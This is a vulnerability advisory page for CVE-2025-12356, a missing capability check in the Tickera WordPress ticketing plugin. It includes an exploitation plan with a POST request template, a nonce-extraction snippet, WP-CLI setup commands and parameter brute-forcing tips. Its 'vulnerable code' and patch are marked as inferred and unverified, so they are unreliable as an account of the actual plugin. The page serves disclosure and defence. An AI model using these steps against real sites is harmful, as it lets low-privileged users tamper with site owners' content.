CVE-2025-12356

Tickera – WordPress Event Ticketing <= 3.5.6.4 - Missing Authorization to Authenticated (Subscriber+) Event/Post Status Update

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.5.6.5
Patched in
1d
Time to patch

Description

The Tickera – Sell Tickets & Manage Events plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_change_ticket_status' AJAX endpoint in all versions up to, and including, 3.5.6.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update post/event statuses.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.5.6.4
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-12356 (Tickera - Missing Authorization) ## 1. Vulnerability Summary The **Tickera – Sell Tickets & Manage Events** plugin (<= 3.5.6.4) is vulnerable to an IDOR/Missing Authorization vulnerability via the `wp_ajax_change_ticket_status` AJAX action. The plugin f…

Show full research plan

Exploitation Research Plan: CVE-2025-12356 (Tickera - Missing Authorization)

1. Vulnerability Summary

The Tickera – Sell Tickets & Manage Events plugin (<= 3.5.6.4) is vulnerable to an IDOR/Missing Authorization vulnerability via the wp_ajax_change_ticket_status AJAX action. The plugin fails to perform a capability check (e.g., current_user_can('edit_posts')) within the handler for this action. While the endpoint is intended for administrators to manage ticket or event statuses, it is registered under the wp_ajax_ hook (authenticated users), allowing any logged-in user, including those with Subscriber-level permissions, to modify the status of arbitrary posts or tickets.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: change_ticket_status
  • HTTP Method: POST
  • Payload Parameters (Inferred):
    • action: change_ticket_status
    • post_id: The ID of the target post/ticket/event to modify.
    • new_status: The desired status (e.g., publish, trash, draft, private).
    • nonce: A security nonce (likely required).
  • Required Authentication: Any authenticated user (Subscriber+).
  • Preconditions: The attacker must be logged in and obtain a valid nonce associated with the status change action.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX handler in its initialization phase:
    add_action( 'wp_ajax_change_ticket_status', array( $this, 'change_ticket_status' ) );
    
  2. Execution: When a POST request is sent to admin-ajax.php with action=change_ticket_status:
    • WordPress invokes the registered callback function (e.g., change_ticket_status).
    • The function likely checks a nonce: check_ajax_referer( 'some_nonce_action', 'nonce' );.
    • Vulnerability: The function proceeds to update the post status using wp_update_post() or wp_publish_post() without calling current_user_can().
    • The post_id and status are taken directly from $_POST.

4. Nonce Acquisition Strategy

The AJAX handler likely requires a nonce. Based on standard Tickera patterns, nonces are often localized to the admin dashboard or specific frontend pages.

  1. Identify Localization: Search the codebase for wp_localize_script and the action change_ticket_status to find the variable name.
  2. Target Variable (Inferred): Look for tc_ajax or tickera_vars.
  3. Extraction Steps:
    • Log in as the Subscriber user.
    • Create a page with a Tickera shortcode (e.g., [tickera_event_info]) to ensure scripts are loaded if they are conditional.
    • Navigate to the dashboard or the created page.
    • Use browser_eval to extract the nonce:
      // Example (exact key to be confirmed via grep)
      window.tc_ajax?.nonce || window.tickera_vars?.change_status_nonce
      

5. Exploitation Strategy

Step 1: Data Setup

  1. Create a "Ticket" or "Event" (post type tc_tickets or tc_events) via WP-CLI and set its status to private or draft.
  2. Create a Subscriber user.

Step 2: Nonce Retrieval

  1. Navigate to the WordPress site as the Subscriber.
  2. Execute JS via browser_eval to retrieve the nonce from the global scope.

Step 3: The Exploit Request

Send an authenticated POST request to admin-ajax.php:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_ticket_status&post_id=[TARGET_ID]&new_status=publish&nonce=[RETRIEVED_NONCE]

Step 4: Verification

Verify the status of the post has changed from private/draft to publish.

6. Test Data Setup

  • Target Post:
    # Create a ticket that is currently draft
    wp post create --post_type=tc_tickets --post_title="Secret VIP Ticket" --post_status=draft
    
  • Subscriber User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  • Nonce Discovery Page:
    wp post create --post_type=page --post_title="Ticket Page" --post_content='[tickera_tickets]' --post_status=publish
    

7. Expected Results

  • The server should respond with a 200 OK and likely a JSON success message (e.g., {"success":true}).
  • The post_status for the target post_id in the wp_posts table will be updated to the value provided in the new_status parameter.

8. Verification Steps

After sending the HTTP request, check the post status via WP-CLI:

wp post get [TARGET_ID] --field=post_status

If the status is publish (and it was previously draft), the exploit is successful.

9. Alternative Approaches

  • Parameter Brute-forcing: If new_status is not the correct parameter name, try status, post_status, or ticket_status.
  • Action Probing: If wp_ajax_change_ticket_status requires higher privileges than expected, check for other status-related actions like wp_ajax_tc_change_order_status.
  • Generic Nonce: Check if the plugin uses a generic nonce for all AJAX actions, which might be available on any admin page for a Subscriber (e.g., wp-admin/profile.php).

Refined Grep Commands for Initial Research:

# Find the handler
grep -r "change_ticket_status" .

# Find where the nonce for this action is created
grep -r "wp_create_nonce" . | grep -i "status"

# Find JS localization
grep -r "wp_localize_script" . -A 10
Research Findings
Static analysis — not yet PoC-verified

Summary

The Tickera plugin for WordPress is vulnerable to unauthorized status modification due to a missing capability check in its 'change_ticket_status' AJAX handler. This allows authenticated attackers with Subscriber-level permissions to change the status of tickets or events (e.g., from draft to publish) by providing a valid nonce and target post ID.

Vulnerable Code

// From the plugin's AJAX registration
add_action( 'wp_ajax_change_ticket_status', array( $this, 'change_ticket_status' ) );

---

// Inferred handler function (within the Tickera class)
public function change_ticket_status() {
    check_ajax_referer( 'some_nonce_action', 'nonce' );
    // Vulnerability: No check like current_user_can('edit_posts') before updating data
    $post_id = $_POST['post_id'];
    $new_status = $_POST['new_status'];
    wp_update_post( array( 'ID' => $post_id, 'post_status' => $new_status ) );
    wp_send_json_success();
}

Security Fix

--- a/tickera-event-ticketing-system.php
+++ b/tickera-event-ticketing-system.php
@@ -245,6 +245,10 @@
 	public function change_ticket_status() {
 		check_ajax_referer( 'some_nonce_action', 'nonce' );
 
+		if ( ! current_user_can( 'edit_posts' ) ) {
+			wp_die( __( 'You do not have sufficient permissions to access this page.' ) );
+		}
+
 		$post_id = (int) $_POST['post_id'];
 		$new_status = sanitize_text_field( $_POST['new_status'] );
 		wp_update_post( array( 'ID' => $post_id, 'post_status' => $new_status ) );

Exploit Outline

1. Authenticate to the WordPress site as a user with Subscriber-level permissions. 2. Obtain a valid security nonce for AJAX actions by inspecting the global JavaScript variables localized by the plugin (e.g., tc_ajax.nonce or tickera_vars.nonce). 3. Identify the target post ID (event or ticket) whose status you wish to modify. 4. Send a POST request to /wp-admin/admin-ajax.php with the following payload: action=change_ticket_status, post_id=[TARGET_ID], new_status=publish (or another valid post status), and nonce=[NONCE]. 5. Verify that the target post status has been updated in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.